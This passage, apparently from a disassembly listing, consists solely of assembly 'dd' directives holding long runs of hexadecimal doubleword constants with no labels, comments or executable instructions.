		dd 31088409h, 0F2D1520Ah, 0C83E162Eh, 7049EECAh, 5BD6408Fh
		dd 0A8D64F29h, 7931B767h, 9E400296h, 4C3F1505h,	2C047DC4h
		dd 0A001BC62h, 804FFC0Bh, 0C8433F2h, 361F1D86h,	11121A16h
		dd 398F36E9h, 0F9E90CB0h, 6E800AC0h, 0F5614EF3h, 705BDE88h
		dd 0D8BDC71Ah, 30EE202Fh, 0F7409774h, 0B3CB5FA3h, 5901933Bh
		dd 0EF07C73Eh, 11F94F3Bh, 2959FDE2h, 78136503h,	8850142Ah
		dd 532DBDDCh, 45DF6142h, 0B85C6687h, 0F19D46B2h, 0B59D6390h
		dd 5FC63B06h, 5D32E275h, 0FC4B18A4h, 2DE8F505h,	4870548Eh
		dd 736B0016h, 7FBD1048h, 501726D6h, 247A25C8h, 929D8679h
		dd 2F90DA69h, 0CE64555Ah, 0BB266E09h, 0D3A85703h, 5EBD2808h
		dd 0D5EDE977h, 98ECA552h, 0ABF40A89h, 15C28002h, 2CBC5CFEh
		dd 0F1AE08E6h, 29FF427h, 6D5D43EAh, 3A092FF4h, 0F61994D6h
		dd 0E8CE5EA0h, 562E8415h, 0FAD7C416h, 5D895A77h, 0C52D9747h
		dd 0C3F897BAh, 8CF487A2h, 9BF7C4Dh, 0FFE56F6h, 0CA4446D8h
		dd 0DB0112D2h, 64AE4E09h, 0F7459C40h, 57CF4FA6h, 4E25C33Fh
		dd 7B3455E1h, 0FDE044E2h, 33FD4B68h, 57501ECBh,	0C5100B8Eh
		dd 0F1A95F6Bh, 97EAFF00h, 4761E97Ah, 1029D997h,	61F15FA9h
		dd 850DF33Ah, 0CDABC942h, 0CCE32FB5h, 0B740203Dh, 0E7D06700h
		dd 0C0A8C780h, 0A1065BEFh, 3A7ED57Fh, 152833E0h, 0C221E9D1h
		dd 0E263F84Eh, 384525Ch, 5461D30h, 0A5FDFF52h, 0B6D215EDh
		dd 5EF01750h, 4A1862AAh, 8B7789E2h, 7208FC01h, 3334B455h
		dd 0ED1713BFh, 8FBD09A8h, 0D180F298h, 4E30E9DDh, 56CE21D3h
		dd 622255Ah, 2B18FE78h,	460C6129h, 1662D4Dh, 33105650h
		dd 70054EFh, 21AED59Fh,	1F32E9F7h, 60084ACDh, 3EB75322h
		dd 968080ACh, 0E7C0C7FEh, 6C2EE902h, 7D523C37h,	617B0169h
		dd 8B6C2C35h, 0D8255F02h, 5A89B4D7h, 0FA5A0EDEh, 90DADF08h
		dd 0A30D6D09h, 5A9D67Fh, 8040D0h, 0C11B5985h, 0FD4C0119h
		dd 29084010h, 928560F1h, 0C2E0F582h, 7D37F181h,	51E20A55h
		dd 0CEE3414Ch, 7F04B62Fh, 1BEE0502h, 46012568h,	0D4E5F932h
		dd 425E0898h, 757B72F6h, 97E9E9A8h, 1228D85Eh, 0ACE5D7B2h
		dd 0FD8B4A52h, 2A3D9D01h, 7CF4E941h, 2D5A16D1h,	0E8ED02F5h
		dd 0ECBE423Ah, 4AD68945h, 35667102h, 0D87E0C4Bh, 0AB417A4Eh
		dd 2D770364h, 2DCFC270h, 0E0098E65h, 0B65DBBABh, 4BE91231h
		dd 0B264EEA5h, 77393DC6h, 0E73420E2h, 5057AD1Fh, 0EE4049D3h
		dd 80D1B252h, 3BCB73F2h, 0EA007ACAh, 0E9D4287Ch, 0C4C6E605h
		dd 6144F9F6h, 5A3CD3D2h, 0FC4EC76Ah, 58014EA0h,	0E9B362EAh
		dd 17C8C0E2h, 391E55F3h, 6D31AA1h, 0BD4E51B8h, 0C1618446h
		dd 4AB031BFh, 0D55E0253h, 0F799C616h, 0B73419C0h, 2473B840h
		dd 170F5397h, 0D1160021h, 144C68EBh, 2662ED96h,	558BAB93h
		dd 0E1E06404h, 0EB321293h, 54CBACF5h, 9407561h,	6B41E93Fh
		dd 9702A0F2h, 1657006h,	2FF0E2EEh, 0B081BD93h, 83124661h
		dd 66B88545h, 181F6750h, 6011F25Eh, 353067F0h, 0B130C70h
		dd 0A154F7Dh, 3408C35Dh, 0A914160Ch, 8AEA9231h,	0C3C612E3h
		dd 1338B0A4h, 11E3625h,	4C60AA24h, 101A4A3Fh, 680AFE6Eh
		dd 8EC86231h, 0A2136AD6h, 3F8590FCh, 2A71721h, 0CE807CC5h
		dd 4076A20Ch, 5C37E92Ah, 0EBDE61F4h, 9D13F0A5h,	8E4212AEh
		dd 0CB414E4Ch, 0EF6C978Fh, 0DB5D844Dh, 0C859912Ch, 137C01C4h
		dd 4818AD8h, 2F0F38C1h,	0AE50AB6Eh, 8D5B2408h, 5904B110h
		dd 0FA63A068h, 2512DA9Bh, 9358B675h, 76A28A56h,	2B6468C3h
		dd 18564510h, 0FBCA0112h
		dd 4E8EBBCCh, 0D31FB85Eh, 97FD26AEh, 0DE37AC97h, 1D4FE83Eh
		dd 9CE94B15h, 1AF52D2Ah, 0F3F15589h, 16FE4F16h,	2D2DAE1Ah
		dd 9F083CFCh, 0CF79820h, 0DEE811D9h, 813AF497h,	9F5F468Dh
		dd 0DDE00731h, 149CD87h, 595D5155h, 8006E5C1h, 0FE219440h
		dd 4E10E915h, 0CBF6B44Fh, 5441497h, 0B168E3D1h,	785A352h
		dd 4446F0B9h, 7217687Bh, 16ED8359h, 0B681BF1Dh,	3D9758DFh
		dd 1A52FAC6h, 0E9F021BCh, 43820174h, 0A3408BF7h, 0F1BBD954h
		dd 82D2F32Fh, 73534168h, 87C42D9Dh, 0E8F3BC2Eh,	0CF2077BBh
		dd 0E876E97h, 0FA0585D3h, 412A993Ch, 53E416Fh, 90BB0012h
		dd 0FC9132F3h, 0E09A914h, 0B82FC289h, 0CE715F8Ah, 88CF6ADh
		dd 0B8036EE5h, 0D0C16B36h, 134680Dh, 142D01EAh,	0D71AB37Ch
		dd 393803D0h, 0A13BE916h, 81C5E1FDh, 80ABCCDFh,	6662C577h
		dd 0DDD14B60h, 0F0401444h, 0AC7ABB5Fh, 64060820h, 63ED8003h
		dd 0F7059AC0h, 4D835643h, 0BD0E6711h, 0EEA1894Eh, 0A0D98B42h
		dd 2439AB6Fh, 0DDF85699h, 40175D79h, 11A0BD00h,	0EE892B9Ch
		dd 8BF5BB7h, 880B6563h,	0F1FE3BCFh, 0BA28BEF5h,	5A24558Fh
		dd 852D90B8h, 0A0B89061h, 5394CF6h, 0CD211DD2h,	0EB7B86CDh
		dd 2E71807Ah, 7E4CFA65h, 111B0571h, 96FC2CECh, 0A96BD655h
		dd 0B3EEE474h, 7A688268h, 0C0987D62h, 0C082F5DDh, 0BF5FF8F8h
		dd 243FB9D9h, 2D819BEAh, 0B51226Fh, 895AEF9Fh, 0D045DECEh
		dd 0D829933Eh, 2E2861BEh, 0FB738292h, 7DD9095Fh, 5E951816h
		dd 77C8FAA0h, 3D39537Dh, 2EF8CA16h, 0A0E16884h,	0F6B589B3h
		dd 0D9BE58F4h, 308B0B00h, 0D26318B9h, 0F101271Eh, 5A2785C5h
		dd 7EF309C9h, 3E80035Ah, 0CB3C1CB9h, 942DB2B8h,	0E4A666F6h
		dd 726B9CD4h, 0D451B924h, 19E500BBh, 8738A535h,	0F755EA10h
		dd 810E5D30h, 0CA16E3F2h, 0AC4C75Ah, 0F89162AAh, 5BAD2A71h
		dd 59056982h, 0BAFD9022h, 5C252E60h, 3E4B7C3Ah,	3CED59FEh
		dd 6035DED8h, 41224017h, 70260A07h, 0B85018F0h,	887203FCh
		dd 1F25480Fh, 0E9134090h, 88E16B2Eh, 460FD3A8h,	8698C69Fh
		dd 3B78C2DBh, 71974840h, 0EB4040E1h, 1CED61BBh,	36E50B7h
		dd 76236935h, 0D1C0F732h, 8327E9E8h, 36C2C844h,	30D33D27h
		dd 44F24798h, 0EBE4C588h, 25C6594Ch, 6D2555D8h,	6477E00Ch
		dd 820214C9h, 7158BFBCh, 0BBB739B0h, 5922C244h,	5F347E4Ch
		dd 0A5A81AFDh, 3F3BF84Fh, 0E3245F78h, 0A038A2EFh, 0BADC23E9h
		dd 0EF554E1Ah, 36DF9D27h, 84B709B8h, 41FE1A90h,	3D67DB10h
		dd 74CB0110h, 8D207041h, 0D6360F4h, 0B23FB353h,	0DA28081Fh
		dd 76C32D49h, 0FEAFD80Eh, 9F0459BFh, 0A62BE42Eh, 5F080BCDh
		dd 576434C8h, 0E9036105h, 9A44D502h, 55A36CB9h,	7FC52B1Fh
		dd 1233B25Bh, 0E7A80710h, 0C28076C0h, 0EA752823h, 3059D5E5h
		dd 7970B2F5h, 0F0E9D00Ah, 0DD988084h, 0F103FACh, 0D5876E63h
		dd 4508D24Ch, 501CDFAh,	0E90BA353h, 0C7A5F8ACh,	4C1357F1h
		dd 0D9A14E13h, 80409A60h, 9B0FEE81h, 0C92B4DF8h, 810BF0F7h
		dd 0BD0067EDh, 0FD507EBEh, 0B909C7ECh, 0DE4A1016h, 8503928h
		dd 0FA21255Dh, 0C500A3D4h, 0E973282Ah, 2053B4C8h, 57BCB5B3h
		dd 243444B5h, 0AFCD1927h, 0E76F2055h, 0C769925Eh, 26B6DD0Ch
		dd 8F7FA7D2h, 561256B3h, 0AC05D4A2h, 353A4E68h,	0CE5F88C8h
		dd 0EC5F1440h, 2EB9608Ch, 0B03951BEh, 0BCBD5002h, 0EA2E2617h
		dd 15865FADh, 9B2D5C4Eh, 8739A189h, 6802048Bh, 0DE27975Eh
		dd 6C27421Fh, 582A3A7Fh, 9444E74Ah, 49EB9E00h, 5FE97864h
		dd 7E26B553h, 0A14848A7h, 564F4F20h, 815E7500h,	41022CEh
		dd 0F9682C1Ch, 9430EA55h, 2EF85C5Bh, 16A44548h,	8EE5901Eh
		dd 4B7B1130h, 13BD434Eh, 3D8C723Ch, 9D225D40h, 0D2B2513h
		dd 61DE681h, 826B753Bh,	935E3BCEh, 0D4575509h, 4DCE10C4h
		dd 50AD750h, 34BB8BB8h,	0A0EB27FCh, 3BFDD117h, 8410328Ah
		dd 0C2B05EC0h, 0A0C65B29h, 9311F67h, 0BAE8D210h, 0A2D63007h
		dd 49F4C18Ch, 0F70F809Fh, 12FB87DFh, 0CC3F4668h, 0F940CF93h
		dd 0EE832D5Dh, 0C42F16C7h, 63574843h, 6D122Eh, 0C8F2BF3Eh
		dd 124C1FFh, 0A22F4BCFh, 0CB1AE9ADh, 0D7307AF9h, 0FC841003h
		dd 925B6A04h, 251C8178h, 1AF056Fh, 0EF033665h, 1686300Ch
		dd 4A72C6BFh, 0BF881255h, 0F35A80DAh, 475CCC9Eh, 25563868h
		dd 0EE2DFF5Ah, 5EFA282Fh, 0E9D06EB6h, 64F49D13h, 0A487DB8Bh
		dd 0FCBCE6E5h, 0DBA92C5Fh, 9D32C36Ah, 477A8620h, 5373822Dh
		dd 74BA5B1h, 96AC67FBh,	0CCF2CB22h, 4BD9C395h, 9AFBB399h
		dd 17C0FD2Ah, 2949C50Fh, 0FC4FCB9Ch, 0C566A7A9h, 984F7D90h
		dd 0C8B78F04h, 1AA96887h, 460B5DBEh, 0AE418F05h, 90C0BCC3h
		dd 0C489BF63h, 0FCC2212Eh, 98ABE405h, 5E0BC2F0h, 0DC0B8821h
		dd 0F908A09Eh, 3DF6CB3Bh, 0E82BC151h, 4E801858h, 1746C34Bh
		dd 167E05Ch, 0C863190Dh, 0D6188E22h, 5E370932h,	0C4155828h
		dd 1EB8080h, 0E5B050C3h, 312CD8F6h, 4B58E527h, 0F38002DDh
		dd 63DD2879h, 0FE811649h, 884701CBh, 0D1D6F6DEh, 8EE0E2F3h
		dd 0C7B52370h, 6BAD26C6h, 98399C5Fh, 2C950505h,	8201507Ah
		dd 88BED6Ah, 177F540Bh,	81B9A3CCh, 0BA4326C5h, 62F56B1Ch
		dd 0D9FB0805h, 949D00B9h, 3E275309h, 0E121FF51h, 6A4BC068h
		dd 282D632Ch, 0EA847CACh, 296B17B2h, 8F04AF0Ch,	0D78C9BCEh
		dd 5B7F12C9h, 0D56B216Fh, 79F7C28Eh, 8F034918h,	0EF84D7AEh
		dd 0B937FE6h, 2314D065h, 57766297h, 0E9A782F3h,	0FD658523h
		dd 0FC99D20h, 29964537h, 0AFE44E84h, 7DB4DA37h,	4C35B017h
		dd 2E68B140h, 0C5FB4E1Ah, 0B104D0A6h, 0C10E80A8h, 0BFC9FEA4h
		dd 0C828F646h, 0FCDB20CCh, 0B54BE5F4h, 0D4B722FFh, 0BD07CAF8h
		dd 266831B6h, 962173DEh, 3720295Bh, 28E04046h, 504D801h
		dd 9C68032Ch, 794F612Fh, 1EAB045Ah, 9CA3C5Eh, 0A250B199h
		dd 6C2CA026h, 0BA99E66Fh, 68573E20h, 65394789h,	4BB0688Fh
		dd 46D1C0C1h, 3D35B800h, 0F7475100h, 17BB05D8h,	85775E65h
		dd 0E0D0C46Ch, 83B05200h, 4BDE226h, 290B8B7Ah, 0F40BD740h
		dd 8787E3DEh, 8942EABBh, 0DA7961CAh, 0A405BF72h, 0FA1E0F5Bh
		dd 8C6520Ah, 9AFC5F15h,	3884661Ah, 0FE4E409Ch, 222F1B79h
		dd 93022C4Fh, 93315741h, 7AC4650Ah, 48140EFCh, 558F1D8Fh
		dd 73298349h, 84BB6575h, 0D7835AE9h, 0A6AE720h,	0C09613FCh
		dd 4F626860h, 58189C00h, 0A3258D0Dh, 0FDE92F23h, 0D3EB5CA0h
		dd 5290C645h, 0A8711E20h, 0CEEF33AFh, 0C24CD09Dh, 0D248F708h
		dd 0C49E2DDAh, 55E3B040h, 6B78CF5Dh, 0AD18564Ch, 15C19759h
		dd 0DD4662BFh, 0D75AA1E8h, 47C2BBBCh, 0F1E65708h, 0F19DD6F4h
		dd 409E974Bh, 7525B8E8h, 0A9904129h, 0F17A6341h, 72FEE0FCh
		dd 0C85A10CAh, 387D84CFh, 0B4BCB100h, 0CC0A30A6h, 0C9E28859h
		dd 9015B10h, 210D5AD0h,	2105E53Ah, 0BB1DC43h, 631F6627h
		dd 98C2ADC3h, 0E7A17FC3h, 38AE6FE9h, 0B75AE6A7h, 0C2008D5Ah
		dd 780C17CAh, 194BBD55h, 0B0582A69h, 139D2BF3h,	137EDDEDh
		dd 0C969B923h, 9A70152h, 708245B8h, 7B9B5CC1h, 6B2EEEC1h
		dd 205539h, 701883F7h, 80CF264h, 2B60F1C1h, 28C216B6h
		dd 72913F1h, 3550CE32h,	1AC7AEF4h, 0A12E82A9h, 0D7F600E5h
		dd 8017FD86h, 9CF806EDh, 8694CB2h, 0E55E3A2Dh, 0E7C5D792h
		dd 137975BDh, 0CD4CC40Dh, 84443B10h, 660C85BEh,	6948FC2Ah
		dd 0E3BD2D89h, 9F83858Bh
		dd 4806C987h, 0E5A0466Ah, 17AADA02h, 206396DDh,	0BA486C9Ah
		dd 8407C409h, 12A129EEh, 866822C0h, 27396ABDh, 0CD810073h
		dd 28ED49CFh, 920EC04Dh, 0E938B405h, 578D6A64h,	0F45F90F0h
		dd 0EDFA4E2Fh, 7D258D29h, 29C2C6EFh, 95F2B8DAh,	0E85A4E52h
		dd 7F827C8Ch, 96E599C2h, 62C3AFBBh, 27DDD082h, 21911709h
		dd 65A13BE3h, 864A2C6Fh, 0F8EDCF4Bh, 0DFC188C7h, 0C313FED6h
		dd 0E62BCDD9h, 3C0BD36Ch, 2C7BB0A4h, 534E80DEh,	4731D6C0h
		dd 0E2BB4B3Bh, 8C152757h, 0E025DD76h, 0B5C6A01Fh, 0F005F7C8h
		dd 0CD91E16h, 18EEDC0Ch, 0DF681856h, 0E76B6D33h, 9F51F99Fh
		dd 8A7CC93h, 0BC3D41Fh,	2005C380h, 37983906h, 2EE39E59h
		dd 910B9C54h, 7927E410h, 0DF162F5Dh, 0CD6601DCh, 6F5095E3h
		dd 505BD22h, 893B51F1h,	48A1BC06h, 0B7A21065h, 6917573Bh
		dd 0D766F92Fh, 0FE1657FFh, 0E909A52Ah, 91751180h, 5802AFAAh
		dd 3089407Fh, 0F76F167Eh, 0D6AD11D9h, 5A02B84Ah, 0B6D141FAh
		dd 87568728h, 487C500Ch, 84027DCBh, 0CF7EAB68h,	5676016Fh
		dd 286F313Dh, 44002DB8h, 547E51Ah, 518075F9h, 8FF2D25Ch
		dd 5A119407h, 0DE1048E6h, 805A0503h, 0C0FB7DEFh, 2895F72Bh
		dd 0DB44F84Bh, 8BE4C723h, 69011E3Ch, 0D292C92Bh, 0FD04331Ah
		dd 192DAB59h, 64B1D143h, 0ED31DA1Bh, 3BC9C52Fh,	825E2549h
		dd 4690363h, 5180E064h,	4CB3B140h, 210984D8h, 8209CEFEh
		dd 0D3F558C2h, 907F4995h, 2C32E447h, 13064039h,	7FEBF19Dh
		dd 9F56222Ch, 89467E56h, 0D8DF206Ah, 70B5058h, 20D24F3Ch
		dd 57B743C2h, 9AA6B36Dh, 0A389FF65h, 80020520h,	20862FCBh
		dd 0F6F8B0DEh, 84D6584Dh, 47A3E1EFh, 0CFBC10h, 3A1DBABDh
		dd 1FD1451Ch, 0D6FD87EDh, 73DC48Dh, 9780B69Bh, 0C9F13330h
		dd 0F69A060Bh, 1611D6D9h, 84F6F9EAh, 4316ED8Dh,	87709DEBh
		dd 0C9A3E610h, 4A4FB800h, 2D351B7Dh, 14C5B16h, 58D38BABh
		dd 1E6901C6h, 452D212Fh, 0EB5358D8h, 4B16F060h,	2AC7F15Bh
		dd 9431A900h, 4B96685Eh, 53892243h, 1D5DC380h, 815B3828h
		dd 1BDB1C00h, 559CB89h,	0FEA1E7BDh, 1000BE3Ch, 6FC5E581h
		dd 4D352541h, 2F56E556h, 9F8AB1E9h, 160CC258h, 0F70CD0C5h
		dd 5ACACDAh, 0C16D4609h, 4B78F9E2h, 7FC7A462h, 6655FEE2h
		dd 0D6F72616h, 36A03E39h, 49206848h, 59A680D2h,	481758Fh
		dd 0F50AB3E1h, 6F3C115h, 0D5D283h, 0AB1030F9h, 0B2D0259h
		dd 296BAC7Dh, 0FEE2FCE3h, 8EF0A7C6h, 0B3BA039Dh, 0F500F57Fh
		dd 59C8885Bh, 0CC01AFEh, 77C4588Eh, 0CDD3ED01h,	0EA019920h
		dd 0FD30996Bh, 0A7BC3AC2h, 2FE6E9A1h, 9CBEBB00h, 0F4114638h
		dd 0FDCE5526h, 6C2C58D9h, 1062542Ch, 0A45C2D9Ch, 13AE9900h
		dd 36D8EFE5h, 29AF405Eh, 0F0F0F776h, 0CC988954h, 0EC8F6C5Ah
		dd 0AD3E5A41h, 13B2B485h, 1FCA721Bh, 0C63350B0h, 0A8293F7Bh
		dd 754BFB15h, 0F7057814h, 6BC268E1h, 0E83DF744h, 98588BAh
		dd 6E517782h, 9FC58C12h, 0D24FB6BEh, 5766480Fh,	530135E2h
		dd 0B91380BBh, 4FAAF863h, 0E0A14EACh, 0D6F12050h, 0F2504081h
		dd 7D04C134h, 5B90F4A0h, 0DE3CFBF3h, 0E8AE41A7h, 4DEDFF7h
		dd 71873689h, 0DF05A5DEh, 0BD91D02Bh, 44017A3Fh, 5DEF0933h
		dd 0E26B534Fh, 9890508Eh, 733B0616h, 1852C4FFh,	67E91C08h
		dd 18B94E5Ch, 3532F852h, 0F81B5AC9h, 32E64A1Eh,	21E29F78h
		dd 1A17E8C0h, 60910CC1h, 9E3C3D78h, 744DC0A4h, 6B64EA44h
		dd 49FF8C66h, 4B7A58A9h, 667924FBh, 4C28BBFh, 5516D306h
		dd 1797D8DCh, 6671EEC7h, 31C8F901h, 0DD78FCE9h,	0FF9683F3h
		dd 73DAAB8Fh, 0D74F9572h, 54E045BBh, 19A6BE5Dh,	0E8A71F85h
		dd 0ADDD849Ah, 66CF0B1Ch, 0B1004D9Ah, 0D12C5BF8h, 5FFF589Fh
		dd 294B8293h, 0FC4F5C2h, 0E19A9BF8h, 0EFCE2AA0h, 516B1ABEh
		dd 9F6A778h, 0C63E2808h, 0F895819Dh, 0F6A1205Ch, 19C3C3B0h
		dd 7BC12959h, 6E1025DFh, 812DC5CCh, 12C872EFh, 0F3D02BE9h
		dd 298DD2D9h, 0C479E86Bh, 96EA9D68h, 54BF96D9h,	0A0027A09h
		dd 91511DC3h, 2E576804h, 887271FBh, 5C88A7B6h, 0B4B212DBh
		dd 41FECEAAh, 3544C72Ch, 5F3B4002h, 2BB66030h, 0C958BF36h
		dd 0AE5EC100h, 0CE298A8Ch, 0F7312559h, 55490874h, 0FB71D710h
		dd 0AEC8525Bh, 0F10CA46Ch, 0AA2F0E10h, 0A6FC145Fh, 7537E9F0h
		dd 0AAAB94BFh, 0EA675722h, 5F59CD09h, 690B0365h, 0F64D9437h
		dd 16D96059h, 3D673558h, 0D2B88972h, 78CE9644h,	0B7C42856h
		dd 0C2801799h, 7024E844h, 846CFD4Ch, 6804EF48h,	96C9E182h
		dd 0E7D0C334h, 600F7B9Eh, 597D0C64h, 0E9177C16h, 5B407794h
		dd 64AB680Ch, 0A48E09BAh, 0ADF11274h, 0BD19E907h, 0E9EE5F0Bh
		dd 3C4E42FAh, 0CBECD6DDh, 0CFE8B756h, 91C574A3h, 62ADE2B0h
		dd 74A027D6h, 3BB0079h,	5E65AE0Eh, 7CD7A709h, 0F36800E9h
		dd 56F1250Fh, 0D697E8C5h, 0B7006FBCh, 0B90DAC38h, 4320B660h
		dd 20639854h, 0BF12B2D3h, 62C167BEh, 81820503h,	0E79D12B3h
		dd 2E515161h, 737908D9h, 0BC7B6017h, 302FA1B9h,	2B308C2h
		dd 3EE86477h, 0B8F2BD63h, 2DC14457h, 17FCABB3h,	0C282DC4Bh
		dd 0E7F60E59h, 5BDF6878h, 4E6E317Eh, 28CB81C7h,	473CAC27h
		dd 13304620h, 80B244Ah,	0D824FD82h, 2842DE1Ch, 0CA5356B3h
		dd 3DA85DD9h, 0DCB7098Bh, 659D6EDDh, 0BCC1EEDDh, 12F294C0h
		dd 62E631A1h, 10535130h, 374A8526h, 7009DB1h, 0B5D60159h
		dd 0E910AFE6h, 5F7E1C9Ch, 24D8A688h, 482D10C0h,	1F2C95B0h
		dd 7AF8282Eh, 3F847848h, 0BD65C8FCh, 557A5E13h,	799D7600h
		dd 7AE92AE2h, 5A60C421h, 186824Eh, 0F480C090h, 1F038C91h
		dd 0D961EC77h, 0D5829EEEh, 309521B0h, 0F291EB77h, 0D866556Ah
		dd 0CABD5506h, 6748275h, 0E92880C5h, 0AE0B0C32h, 800F0E3Fh
		dd 0BA1D2DE4h, 0E4D6056h, 25737583h, 628C5EBFh,	6E553CB3h
		dd 875154A2h, 69BD2768h, 392831DBh, 7F2CEA17h, 528082BBh
		dd 68179B70h, 0ABA33876h, 0F476E85Ah, 18FF0925h, 61E95650h
		dd 0BD227D00h, 40BA2468h, 58C52531h, 4F04DE78h,	5561651Dh
		dd 70B144AEh, 1CA921h, 0ADE5999h, 2DAF681h, 0E94D8A4Ch
		dd 47C90FADh, 5268C432h, 4636699Dh, 2D7BA97Bh, 0B867048h
		dd 861CED18h, 52583D80h, 4500ADBAh, 0F2817101h,	4880CA03h
		dd 26201CFDh, 5ED752B5h, 962DAC16h, 4AF0B109h, 0F1088059h
		dd 906F7043h, 8BE72D71h, 0BBACC87Bh, 50ED1E12h,	0AA5F0C05h
		dd 712EAD5h, 528BCBAFh,	5FAC1241h, 0C0D26ABDh, 4B4C7354h
		dd 382F0A90h, 0B54F17Ah, 0E3F11448h, 0E0165712h, 0BBB85141h
		dd 5E07350h, 0DA280009h, 31060D70h, 0E9EA518Ah,	4374B7E0h
		dd 98C2CF27h, 9C4B6A43h, 4F8460F3h, 94A165A9h, 6C050090h
		dd 7CB22729h, 0C10929D3h, 0BD8D2ADh, 48F2733Bh,	80BF392h
		dd 0E8AF96D9h, 62116967h, 1DA49435h, 5F9F8DC5h,	0F9C03A4Ch
		dd 6F5A73D0h, 0DEAAF5C6h, 805DA589h, 2A600962h,	92C4B749h
		dd 62F0D99Dh, 0DD1808Ah, 0E856501Eh, 0C409185Fh, 2E1EFFC7h
		dd 0DD3BE917h, 0D3EF3549h, 0FCDABCD8h, 0C5EBF483h, 6F98AEBCh
		dd 0C629D0EBh, 60297127h, 5D8BA155h, 0E092F201h, 0E155C9B4h
		dd 26D9FEFBh, 9ACBD1E2h, 75EE604Eh, 0B47BBD2Fh,	12E9A9B0h
		dd 0B1EA9DA8h, 6E5D7D40h, 2106BA12h, 527C0EFh, 509DF808h
		dd 2BEF3F49h, 0B1293712h, 13080528h, 4A171886h,	741275BAh
		dd 0B3001582h, 66B618AFh
		dd 161F4BE9h, 0C0E3BD54h, 0F78772Eh, 1862FBE9h,	2738A559h
		dd 0EB0A6417h, 0A21D0D24h, 86A1ECD6h, 0D53AB62Bh, 0E2582F0Eh
		dd 0F4205558h, 4D3A358Fh, 2D37534Ch, 4011D6F3h,	38D86850h
		dd 581C1E00h, 1847E42Dh, 540766Dh, 0AF05F0D5h, 491DEB50h
		dd 6B6A5C85h, 7026BF1h,	50CCC058h, 34025B8Fh, 5A04AAE6h
		dd 1307E2h, 4649F5E5h, 5B5E027Ah, 0E3E523BAh, 0F895D9B6h
		dd 7FCE097Ch, 0EC021B48h, 0BAF6E23Ch, 4459D2F2h, 40BD01FBh
		dd 170E46ECh, 0FB587BC3h, 0F47F6A2Dh, 0F5410ED0h, 0EF40756Ch
		dd 6EE604ADh, 99EE010Ch, 7443411Eh, 63DD7ABBh, 2338CEEDh
		dd 0D204E95Eh, 0CC8EC9BEh, 185F1B68h, 51C56AE9h, 73CCABA7h
		dd 42F6A028h, 9BEB5029h, 0EF20ACBh, 0EE50C6Ch, 11024107h
		dd 0D64DD989h, 0F416680Bh, 6275C9C8h, 95C5D578h, 0E12AD1AFh
		dd 2A4DE368h, 74EED8h, 0B9193E32h, 7D90AEADh, 58C12900h
		dd 0A7685753h, 5F8A286Fh, 61A42094h, 0DDD4BA04h, 1A81954Fh
		dd 28D14882h, 9736970h,	29143757h, 801A8C2h, 2A785FE9h
		dd 34D96BDDh, 3F41997Bh, 0E9B04DFDh, 26955D26h,	0BBEC1CAh
		dd 3735607Eh, 82409304h, 0ADF6BD86h, 20495C2Dh,	74E139FEh
		dd 1B125D48h, 149D7DFh,	6E1DD265h, 0D05C1FCh, 823C8279h
		dd 457DD83Ah, 29E2A96Ah, 25625EAh, 299F10A0h, 687AB019h
		dd 30235AE6h, 9E308A9Eh, 3BFBF2B0h, 3E5335C8h, 0DDBEF3B3h
		dd 8B0A3113h, 68559828h, 6AFEA55h, 65E9593Fh, 0D3B53F41h
		dd 0D2B80059h, 0E9279D30h, 83CC6B69h, 0C587D534h, 0D6B04E3h
		dd 582C6877h, 467AB5C1h, 7CC0122h, 0CAA3C61h, 5E86FF31h
		dd 8F275095h, 0A7D3C047h, 95999F18h, 46136E10h,	68CA70BBh
		dd 0F99A293Ah, 4BD25B5Eh, 6FA97FEDh, 0FE556AA7h, 0F1716F0Bh
		dd 68E55167h, 1DFE6CD4h, 8FC0C20Bh, 63D0936Ch, 2516B03Ah
		dd 249EF01Ah, 6F457C5Dh, 0AD9F3904h, 151E0081h,	0EA875FDAh
		dd 0E906C24Dh, 0F17DB46Eh, 0E5F569DAh, 12540980h, 68412674h
		dd 0DF8B5F8Bh, 8A745A1Bh, 0B6250880h, 0FA4B1F69h, 0E5B1AA40h
		dd 0C22546h, 8906F5Fh, 5600A90Dh, 490EBB53h, 0FC244AB1h
		dd 2164D63h, 366E43F3h,	28878144h, 0FABA3D71h, 919003A0h
		dd 232FF11Ch, 0B51C32D6h, 3C6B12BFh, 6946F80h, 0B8265AA3h
		dd 0B832607Ch, 2A146BEh, 20973507h, 5D743EF4h, 9FC2913h
		dd 55661474h, 0AF10DD39h, 12953B65h, 87348499h,	0D82FF2A1h
		dd 0BAB5D65Dh, 7DC4D5F8h, 0B05A0190h, 56376CFEh, 969EFC9Fh
		dd 80554313h, 0E4C29BEFh, 0A22C68D6h, 0B549A458h, 394F0AE6h
		dd 27BF3095h, 8F22B2C8h, 3302C768h, 0BBC164ABh,	0EE916F4Ch
		dd 346936DEh, 26CBF493h, 0FF377142h, 6D79B303h,	0DEE21702h
		dd 60542F12h, 11FB16Eh,	2335297Ch, 6879BD26h, 114D1009h
		dd 0C10A5981h, 5330821Bh, 0D6482A6Ch, 4F7E08A5h, 22A2C120h
		dd 3C7A255Fh, 0BE56FB40h, 5B7E081Eh, 0AA0FE444h, 6567804Fh
		dd 582A55A3h, 0C50394C5h, 237F26A5h, 1B05E5EBh,	0FF565D58h
		dd 0A050924Bh, 546FBD54h, 81165AB7h, 72EB01B4h,	7F91180Fh
		dd 4E2EFC3h, 290CD055h,	126F84DFh, 10DBA808h, 0E84E0D7Fh
		dd 0FE2CB419h, 16EA1CBAh, 14A12A8h, 670B4D87h, 0DABD3F54h
		dd 3F2CB807h, 0A831D51Ah, 71EF2D40h, 0C43316C0h, 0F90BFA01h
		dd 36DB0FF8h, 0CD2F40BBh, 55F74CB0h, 0FD7C8C92h, 0E9010EC4h
		dd 556F7FA4h, 4AF04802h, 99989792h, 7195ED46h, 47E04258h
		dd 5C03BE0Ah, 0C7DBA02h, 0DC0D4C62h, 0DD09CDEAh, 8077B454h
		dd 754B378Fh, 0E00CC112h, 6F223D95h, 0CAEDD3C4h, 4D796081h
		dd 0B7983006h, 56F87825h, 1FB9008Ch, 0DE011B7Bh, 7FD26817h
		dd 0F40D8F3h, 0D3CF4FE9h, 0DC20E29Fh, 68409D25h, 0A73E9BC9h
		dd 64CB157Fh, 37680C7Ah, 5D9AD976h, 0CB895A18h,	0DF75C15Dh
		dd 4B6B67FDh, 42E42821h, 56990624h, 963C7FA7h, 0BB5EEE42h
		dd 5C31DD6Dh, 4975D03Bh, 534BFA86h, 307E7FE9h, 6886D408h
		dd 0D5B32696h, 322F402h, 246A543Dh, 1201024Ah, 1E604BDCh
		dd 214F3387h, 82050EEh,	0DD489558h, 0A8EF8760h,	0D77E70EAh
